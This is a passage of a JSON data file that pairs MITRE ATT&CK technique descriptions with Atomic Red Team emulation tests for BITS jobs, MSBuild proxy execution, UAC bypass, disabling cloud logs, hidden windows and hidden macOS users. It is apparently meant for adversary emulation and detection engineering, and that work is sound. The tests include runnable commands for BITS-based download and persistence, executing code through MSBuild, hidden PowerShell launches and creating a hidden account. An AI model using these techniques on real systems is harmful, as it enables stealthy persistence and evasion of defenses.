- "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020."
- }
- ],
- "modified": "2021-04-13T21:36:04.956Z",
- "name": "BITS Jobs",
- "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin)\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "BITS runs as a service and its status can be checked with the Sc query utility (sc query bits
).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose
).(Citation: Microsoft BITS)\n\nMonitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the \u2018Transfer\u2019, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Network Traffic: Network Connection Creation",
- "Command: Command Execution",
- "Service: Service Metadata"
- ],
- "x_mitre_defense_bypassed": [
- "Firewall",
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1197"
- },
- "atomic_tests": [
- {
- "name": "Bitsadmin Download (cmd)",
- "auto_generated_guid": "3c73d728-75fb-4180-a12f-6712864d7421",
- "description": "This test simulates an adversary leveraging bitsadmin.exe to download\nand execute a payload\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "Remote file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md"
- },
- "local_file": {
- "description": "Local file path to save downloaded file",
- "type": "path",
- "default": "%temp%\\bitsadmin1_flag.ps1"
- }
- },
- "executor": {
- "command": "bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}\n",
- "cleanup_command": "del #{local_file} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Bitsadmin Download (PowerShell)",
- "auto_generated_guid": "f63b8bc4-07e5-4112-acba-56f646f3f0bc",
- "description": "This test simulates an adversary leveraging bitsadmin.exe to download\nand execute a payload leveraging PowerShell\n\nUpon execution you will find a github markdown file downloaded to the Temp directory\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "Remote file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md"
- },
- "local_file": {
- "description": "Local file path to save downloaded file",
- "type": "path",
- "default": "$env:TEMP\\bitsadmin2_flag.ps1"
- }
- },
- "executor": {
- "command": "Start-BitsTransfer -Priority foreground -Source #{remote_file} -Destination #{local_file}\n",
- "cleanup_command": "Remove-Item #{local_file} -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Persist, Download, & Execute",
- "auto_generated_guid": "62a06ec5-5754-47d2-bcfc-123d8314c6ae",
- "description": "This test simulates an adversary leveraging bitsadmin.exe to schedule a BITS transferand execute a payload in multiple steps.\nNote that in this test, the file executed is not the one downloaded. The downloading of a random file is simply the trigger for getting bitsdamin to run an executable.\nThis has the interesting side effect of causing the executable (e.g. notepad) to run with an Initiating Process of \"svchost.exe\" and an Initiating Process Command Line of \"svchost.exe -k netsvcs -p -s BITS\"\nThis job will remain in the BITS queue until complete or for up to 90 days by default if not removed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command_path": {
- "description": "Path of command to execute",
- "type": "path",
- "default": "C:\\Windows\\system32\\notepad.exe"
- },
- "bits_job_name": {
- "description": "Name of BITS job",
- "type": "string",
- "default": "AtomicBITS"
- },
- "local_file": {
- "description": "Local file path to save downloaded file",
- "type": "path",
- "default": "%temp%\\bitsadmin3_flag.ps1"
- },
- "remote_file": {
- "description": "Remote file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md"
- }
- },
- "executor": {
- "command": "bitsadmin.exe /create #{bits_job_name}\nbitsadmin.exe /addfile #{bits_job_name} #{remote_file} #{local_file}\nbitsadmin.exe /setnotifycmdline #{bits_job_name} #{command_path} NULL\nbitsadmin.exe /resume #{bits_job_name}\nping -n 5 127.0.0.1 >nul 2>&1\nbitsadmin.exe /complete #{bits_job_name}\n",
- "cleanup_command": "del #{local_file} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Bits download using desktopimgdownldr.exe (cmd)",
- "auto_generated_guid": "afb5e09e-e385-4dee-9a94-6ee60979d114",
- "description": "This test simulates using desktopimgdownldr.exe to download a malicious file\ninstead of a desktop or lockscreen background img. The process that actually makes \nthe TCP connection and creates the file on the disk is a svchost process (\u201c-k netsvc -p -s BITS\u201d) \nand not desktopimgdownldr.exe. See https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "remote_file": {
- "description": "Remote file to download",
- "type": "url",
- "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md"
- },
- "download_path": {
- "description": "Local file path to save downloaded file",
- "type": "path",
- "default": "SYSTEMROOT=C:\\Windows\\Temp"
- },
- "cleanup_path": {
- "description": "path to delete file as part of cleanup_command",
- "type": "path",
- "default": "C:\\Windows\\Temp\\Personalization\\LockScreenImage"
- },
- "cleanup_file": {
- "description": "file to remove as part of cleanup_command",
- "type": "string",
- "default": "*.md"
- }
- },
- "executor": {
- "command": "set \"#{download_path}\" && cmd /c desktopimgdownldr.exe /lockscreenurl:#{remote_file} /eventName:desktopimgdownldr\n",
- "cleanup_command": "del #{cleanup_path}\\#{cleanup_file} >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1127.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "@ionstorm",
- "Carrie Roberts, @OrOneEqualsOne"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96",
- "type": "attack-pattern",
- "created": "2020-03-27T21:50:26.042Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1127.001",
- "url": "https://attack.mitre.org/techniques/T1127/001"
- },
- {
- "url": "https://msdn.microsoft.com/library/dd393574.aspx",
- "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.",
- "source_name": "MSDN MSBuild"
- },
- {
- "source_name": "Microsoft MSBuild Inline Tasks 2017",
- "url": "https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element",
- "description": "Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved March 5, 2021."
- },
- {
- "source_name": "LOLBAS Msbuild",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Msbuild/",
- "description": "LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019."
- }
- ],
- "modified": "2021-10-15T23:57:07.973Z",
- "name": "Trusted Developer Utilities Proxy Execution: MSBuild",
- "description": "Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)\n\nAdversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)",
- "kill_chain_phases": [
- {
- "phase_name": "defense-evasion",
- "kill_chain_name": "mitre-attack"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of MSBuild.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_system_requirements": [
- " .NET Framework version 4 or higher"
- ],
- "identifier": "T1127.001"
- },
- "atomic_tests": [
- {
- "name": "MSBuild Bypass Using Inline Tasks (C#)",
- "auto_generated_guid": "58742c0f-cb01-44cd-a60b-fb26e8871c93",
- "description": "Executes the code in a project file using msbuild.exe. The default C# project example file (T1127.001.csproj) will simply print \"Hello From a Code Fragment\" and \"Hello From a Class.\" to the screen.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "filename": {
- "description": "Location of the project file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1127.001\\src\\T1127.001.csproj"
- },
- "msbuildpath": {
- "description": "Default location of MSBuild",
- "type": "path",
- "default": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319"
- },
- "msbuildname": {
- "description": "Default name of MSBuild",
- "type": "path",
- "default": "msbuild.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Project file must exist on disk at specified location (#{filename})\n",
- "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/T1127.001.csproj\" -OutFile \"#{filename}\"\n"
- }
- ],
- "executor": {
- "command": "#{msbuildpath}\\#{msbuildname} #{filename}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "MSBuild Bypass Using Inline Tasks (VB)",
- "auto_generated_guid": "ab042179-c0c5-402f-9bc8-42741f5ce359",
- "description": "Executes the code in a project file using msbuild.exe. The default Visual Basic example file (vb.xml) will simply print \"Hello from a Visual Basic inline task!\" to the screen.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "filename": {
- "description": "Location of the project file",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1127.001\\src\\vb.xml"
- },
- "msbuildpath": {
- "description": "Default location of MSBuild",
- "type": "path",
- "default": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319"
- },
- "msbuildname": {
- "description": "Default name of MSBuild",
- "type": "path",
- "default": "msbuild.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Project file must exist on disk at specified location (#{filename})\n",
- "prereq_command": "if (Test-Path #{filename}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/vb.xml\" -OutFile \"#{filename}\"\n"
- }
- ],
- "executor": {
- "command": "#{msbuildpath}\\#{msbuildname} #{filename}\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1088": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak",
- "Casey Smith"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:07.462Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1088",
- "url": "https://attack.mitre.org/techniques/T1088"
- },
- {
- "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works",
- "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
- "source_name": "TechNet How UAC Works"
- },
- {
- "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx",
- "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
- "source_name": "TechNet Inside UAC"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx",
- "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
- "source_name": "MSDN COM Elevation"
- },
- {
- "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html",
- "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
- "source_name": "Davidson Windows"
- },
- {
- "url": "https://github.com/hfiref0x/UACME",
- "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
- "source_name": "Github UACMe"
- },
- {
- "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
- "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
- "source_name": "enigma0x3 Fileless UAC Bypass"
- },
- {
- "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware",
- "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
- "source_name": "Fortinet Fareit"
- },
- {
- "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass",
- "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
- "source_name": "SANS UAC Bypass"
- },
- {
- "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/",
- "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.",
- "source_name": "enigma0x3 sdclt app paths"
- },
- {
- "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
- "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.",
- "source_name": "enigma0x3 sdclt bypass"
- }
- ],
- "modified": "2020-02-05T20:08:32.863Z",
- "name": "Bypass User Account Control",
- "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe
can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe
bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command
Registry key. (Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe
bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe
and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand
Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Windows User Account Control"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1562.008": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Syed Ummar Farooqh, McAfee",
- "Prasad Somasamudram, McAfee",
- "Sekhar Sarukkai, McAfee ",
- "Ibrahim Ali Khan",
- "Alex Soler, AttackIQ",
- "Janantha Marasinghe",
- "Matt Snyder, VMware"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d",
- "type": "attack-pattern",
- "created": "2020-10-12T13:52:32.846Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1562.008",
- "url": "https://attack.mitre.org/techniques/T1562/008"
- },
- {
- "source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic",
- "url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/",
- "description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020."
- },
- {
- "source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs",
- "url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html",
- "description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020."
- },
- {
- "source_name": "Configuring Data Access audit logs",
- "url": "https://cloud.google.com/logging/docs/audit/configure-data-access",
- "description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020."
- },
- {
- "source_name": "az monitor diagnostic-settings",
- "url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete",
- "description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020."
- }
- ],
- "modified": "2022-03-08T21:55:27.505Z",
- "name": "Impair Defenses: Disable Cloud Logs",
- "description": "An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. \n\nCloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor logs for API calls to disable logging. In AWS, monitor for: StopLogging
and DeleteTrail
.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink
.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete
.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Cloud Service: Cloud Service Disable",
- "Cloud Service: Cloud Service Modification"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1562.008"
- },
- "atomic_tests": []
- },
- "T1564.003": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Windows",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
- "type": "attack-pattern",
- "created": "2020-03-13T20:26:49.433Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1564.003",
- "url": "https://attack.mitre.org/techniques/T1564/003"
- },
- {
- "source_name": "PowerShell About 2019",
- "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1",
- "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019."
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
- "source_name": "Antiquated Mac Malware"
- }
- ],
- "modified": "2022-03-15T21:09:43.489Z",
- "name": "Hide Artifacts: Hidden Window",
- "description": "Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden
. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement
, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement
or any other suspicious plist tag in plist files and flag them.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Script: Script Execution",
- "Command: Command Execution",
- "File: File Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1564.003"
- },
- "atomic_tests": [
- {
- "name": "Hidden Window",
- "auto_generated_guid": "f151ee37-9e2b-47e6-80e4-550b9f999b7a",
- "description": "Launch PowerShell with the \"-WindowStyle Hidden\" argument to conceal PowerShell windows by setting the WindowStyle parameter to hidden.\nUpon execution a hidden PowerShell window will launch calc.exe\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "powershell_command": {
- "description": "Command to launch calc.exe from a hidden PowerShell Window",
- "type": "string",
- "default": "powershell.exe -WindowStyle hidden calc.exe"
- }
- },
- "executor": {
- "command": "Start-Process #{powershell_command}\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1147": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1147",
- "url": "https://attack.mitre.org/techniques/T1147"
- },
- {
- "url": "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf",
- "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021.",
- "source_name": "Cybereason OSX Pirrit"
- }
- ],
- "modified": "2021-12-21T16:28:00.431Z",
- "name": "Hidden Users",
- "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow
called Hide500Users
that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401
(Citation: Cybereason OSX Pirrit).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1578.002": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cf1c2504-433f-4c4e-a1f8-91de45a0318c",
- "type": "attack-pattern",
- "created": "2020-05-14T14:45:15.978Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1578.002",
- "url": "https://attack.mitre.org/techniques/T1578/002"
- },
- {
- "source_name": "Mandiant M-Trends 2020",
- "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
- "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
- },
- {
- "source_name": "AWS CloudTrail Search",
- "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/",
- "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020."
- },
- {
- "source_name": "Azure Activity Logs",
- "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs",
